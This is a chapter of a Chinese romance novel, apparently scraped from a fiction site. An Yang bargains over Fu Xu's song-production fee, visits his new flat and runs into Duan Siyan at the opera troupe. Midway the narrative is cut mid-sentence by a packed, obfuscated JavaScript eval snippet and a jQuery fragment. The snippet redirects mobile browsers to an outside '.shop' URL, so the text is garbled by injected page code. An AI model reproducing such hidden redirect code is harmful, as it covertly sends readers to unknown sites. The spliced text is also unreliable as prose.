静谧的房间里,两人的呼吸声被无限放大,安漾沉思良久,问他:
“那大乐.透?”
傅栩一怔,垂眸看见她小心翼翼的眼神,哭笑不得,“不行。”
她小小地“啊”了一声以示不满,无精打采地把下巴磕在桌面上,颇有些破罐子破摔的意思:“那怎么办?”
像个被放了气的气球似的,她说话也有气无力,抬眼看着傅栩,“就你这个价格,就算把我卖了也付不起。”
“你愿意把自己抵押给我也可以。”傅栩顺着她的话说下去。
她这会儿倒是来精神了,抬手拍了他一下,恶狠狠道:“抵你个头。”
他不怒反笑,拉过一把椅子坐在她对面,随手扯过纸笔给她算起来,“编曲、录音,加上后期,这是一首歌的价格。”
安漾的目光紧紧跟随笔尖,在心里默数着。
个,十,百,千,万,十万......
每多出一位数,她的脸色就沉重一分,面部表情的变化被傅栩用余光尽收眼底。
他压住嘴角的笑意,“我准备了五首歌。”
说着,他又在这串数字后乘以五。
一长串数字看得安漾两眼一黑,默默掐一把自己的大腿,确认这不是自己的幻觉。
过了一会儿,她终于下定决心,问:“你能活到两百岁吗?”
“什么?”这突然的问题让傅栩摸不着头脑。
“如果你能活到两百岁,说不定能等到我付上这笔钱。”她越说声音越小,眼神飘忽不定,最后落回那串数字上。
傅栩了然,他一向善解人意,“如果是你的话,我可以打个折。”
她绝望闭眼,按眼下这个价格,就算是打骨折她也付不起。
安漾微不可察地叹了口气。
傅栩低头,见她蔫蔫地趴在桌上,唇角勾起。
少顷,他用笔划掉那一串数字,“或者换一种支付方式。”
听闻还有商量的余地,安漾坐直身子与他平视,眼睛亮亮的。
“你来帮我搬家,抵扣一部分金额,怎么样?”
她刚燃起的希望又熄灭掉,“你要搬去哪儿?又要回明京吗?”
他失笑,“你到底有多希望我走?”
“不是的。”安漾想辩解,“我只是觉得你工作很忙,没时间在景城待太久,而且......”
“安漾。”傅栩打断她,“我要搬到景城了。”
这是她未曾设想过的答案,“为什么?”
虽然对傅栩的工作了解不多,但她知道他的事业重心一直都在明京,华悦唱片也一直驻扎在那里,如果搬到景城,怎么都不方便。
“因为你。”他半开玩笑道:“为了方便给你打工。”
这话半真半假,平淡的语气落在安漾耳中却像一记炸雷,花了好长时间才缓过来。
“不不不。”她条件反射地摆手,差点碰倒桌上的东西,“不用这么麻烦的,闻景现在直播有我和西西,我们应付得来的。”
说完她又觉得后悔了。
说实在的,在听见他要留下的那一刻,安漾的内心是窃喜的。
但想到他一直在明京生活和工作,贸然搬到景城定会有诸多不便。他已经做了太多,安漾不想再让他为闻景抑或是她做出牺牲。
他没有必须为她付出的理由。
“明年,华悦的分公司会设在景城。”他笑。
好吧,是她自作多情了,安漾为自己刚才的想法尴尬,偏过头去不想看他。
“他们原本没打算把我调到景城。”傅栩道:“是我自己要来的。”
她动作一顿,然后转过头,狠狠瞪了他一眼,“你说话就非得大喘气吗?”
他无辜,“我有吗?”
“怎么没有?你刚才明明......”
安漾话说到一半戛然而止,她心里窝火,总不能把刚才那一通乱七八糟的心理活动告诉他。
见她不说话,傅栩问:“明天上午陪我去一趟新家?”
“抵扣一首歌的价格。”他补充。
“好。”一码归一码,她没有道理拒绝这么诱人的条件。
但现在,她是真的待不下去了,“没别的事我就先回去了。”
安漾起身,走到卧室门口时低头拉拉自己的外套,确认不会出现上次落下外套的情况。
“对了,上次那首歌。”傅栩突然问她:“喜欢吗?”
安漾僵在原地。
她上次根本没点开那首歌。
“我删掉了。”她纠结了片刻,还是老老实实交代。但为了不显得自己太理亏,她找了一个拙劣的借口,“手滑。”
傅栩无奈,“你的意思是你不小心点进了聊天界面,又不小心长按文件,再不小心点到删除,是吗?”
“是啊,太不小心了。”安漾讪笑两声,一个闪身出门下楼,“明天见。”
-
他没有再把那首歌发给安漾,只和她约好第二天上午在小区门口见面。
她乖乖答应,傅栩现在手握闻景的未来,他说东她绝不往西。
车等在小区门口,安漾远远就看见了,径直过去拉开后门。
后排空空如也,傅栩从驾驶座上扭头,“来前面。”
她一愣,关上后门到副驾,“你的车?”
“嗯。”他一手搭在窗框上,猜到她想问什么,“刚买不久,没来得及告诉你。”
他长臂横在面前,替她拉过安全带系上。
安漾被这突然的动作惊呼吸一滞,后背不自觉地往后贴,想和他隔开距离。
安全带的锁扣发出“咔哒”一声细响,傅栩撤回手,“你那段时间躲我就跟躲瘟神似的。”
她悻悻地扯了扯嘴角,没有说话。
车上放着轻柔和缓的音乐,音量很低,带了点催眠的效果。
安漾被这音乐搞得昏昏欲睡,歪着头靠在车窗上,眼皮都快阖上了。
音乐渐歇,车里安静了不到三秒,接着传来一段强劲的电吉他声。
她被惊醒,睡眼朦胧地瞥向车上的中控屏,傅栩已经伸手关掉了音乐。
但她还是隐约看清了歌手一栏的名字。
苏果。
又是苏果。
安漾揉揉太阳穴,怀疑自己和这个素未谋面的苏果八字相冲。
她的睡意全亡迭了,但感觉到傅栩余光瞟向自己,只能侧身向着车窗,闭眼装睡。
车一路开出熟悉的街区,安漾再睁开眼时,被远处湖面上的粼粼波光刺得眼睛疼。
她眼前一阵一阵地发黑,直到车驶入地下车库才好了些。
“怎么了?”傅栩早就注意到她一直在眨眼睛。
安漾摇头,等车停好,跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304224|149765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他上了电梯。
一梯一户的大平层户型,傅栩输入密码开门,让她先进去。
安漾走出几步,回头见他正低头看手机。
她张张嘴,想问他怎么不进来,口袋里的手机却传出一声振动。
傅栩发来一串数字,对上她茫然的目光,道:“密码。”
安漾见过这串数字,在几年前第一次登台演《芙蓉花仙》的照片右下角。
她迟钝地点点头,背过身去,装作对周围的陈设很感兴趣的样子。
家具都已经购置好了,整个屋子的装修是法式极简风,宽敞明亮,唯一欠缺的生活气息被穿透玻璃的阳光消解。
“你还缺点什么吗?我送你做乔迁礼物。”
“你帮我看看。”傅栩靠在门口,眉眼间尽是温柔。
安漾扬扬眉毛,走进客厅仔细打量一遍。
基本的家具都已经齐了,只差点生活用品,但这些东西傅栩大概也不缺。
她思索片刻,“买点绿植?”
“你喜欢什么样的?”傅栩倒了杯水给她。
安漾笑了,“是我送你,得看你喜欢什么。”
“我不了解这些。”他说:“你选你喜欢的就好。”
她双手捧着杯子,“我喜欢塑料的。”
傅栩:?
“安漾垂着头,“小时候学校课外实践,一人发几颗种子让养花。”
“然后呢?”
“然后因为浇了太多水,我头一天就把这些种子全淹死了。”
傅栩扶额,死死咬住嘴唇不让自己笑出声。
“下次一起去挑吧。”他道:“你浇水的时候我在旁边看着,这次不会养死的。”
“好。”安漾兴致昂扬,完全没意识到他把养花的活儿交给了她。
两人没在这里待太久,安漾下午还得回闻景直播。
傅栩带她在家里转了一遍,她尽职尽责地在手机备忘录里记下了需要添置的物品,又在附近简单吃了顿饭,驱车回剧团。
剧团在一条老街上,安漾隔得老远就看见一辆扎眼的女武神。
这车实在是太招摇了,哪怕她昨天只看过一眼,也能猜到它的主人是谁。
她的视线在车上停留几秒,而后默默挪到路中。想到一会儿又要应付段斯延,她只觉得头疼。
不出所料,她前脚刚踏进剧团,立马就被叫住。
“安漾。”段斯延搬了把椅子在院子里晒太阳,眯缝着眼睛,兴师问罪一般:“那个AAA川剧商演老刘不是你?”
她听乐了,又觉得这话问得莫名其妙,“这不废话吗?我又不姓刘。”
段斯延被噎住,气焰瞬时间熄灭。
“刘叔专门负责闻景的商演,你跟他谈就好。”她不再多作停留,往化妆间走去。
段斯延坐不住了,他从椅子上跳起来,伸手欲拉住她,却被身后的傅栩截住。
动作受限,段斯延不耐烦地回头,见拦他的人是傅栩,眉头拧成一个结。想甩开他,傅栩却先一步松开手。
安漾隐隐约约感觉到身后有什么动静,转过头一看,傅栩和段斯延都已经规规矩矩站在身后,仿佛什么都没发生过。
她有些狐疑地看了傅栩一眼,眼神里带着询问的意味。
“你先去化妆。”他眼神轻佻地扫了一眼段斯延,对安漾道:“我在这里等你。”